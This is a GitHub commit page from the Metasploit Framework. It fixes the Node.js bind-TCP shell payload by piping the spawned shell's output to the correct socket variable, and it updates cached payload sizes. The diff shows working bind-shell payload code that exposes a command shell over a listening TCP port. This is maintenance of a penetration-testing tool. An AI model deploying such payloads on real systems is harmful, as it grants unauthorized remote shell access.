Skip to content

Commit df1f7df

Browse files
committed
Land rapid7#9072, remove invalid 'client' object reference in nodejs
2 parents e976a91 + b76c1f3 commit df1f7df

File tree

3 files changed

+6
-6
lines changed

3 files changed

+6
-6
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@ def nodejs_bind_tcp
1919
var sh = cp.spawn(cmd, []);
2020
socket.pipe(sh.stdin);
2121
if (typeof util.pump === "undefined") {
22-
sh.stdout.pipe(client.socket);
23-
sh.stderr.pipe(client.socket);
22+
sh.stdout.pipe(socket);
23+
sh.stderr.pipe(socket);
2424
} else {
25-
util.pump(sh.stdout, client.socket);
26-
util.pump(sh.stderr, client.socket);
25+
util.pump(sh.stdout, socket);
26+
util.pump(sh.stderr, socket);
2727
}
2828
});
2929
server.listen(#{datastore['LPORT']});

modules/payloads/singles/cmd/unix/bind_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 2351
13+
CachedSize = 2239
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 583
16+
CachedSize = 555
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

0 commit comments

Comments
 (0)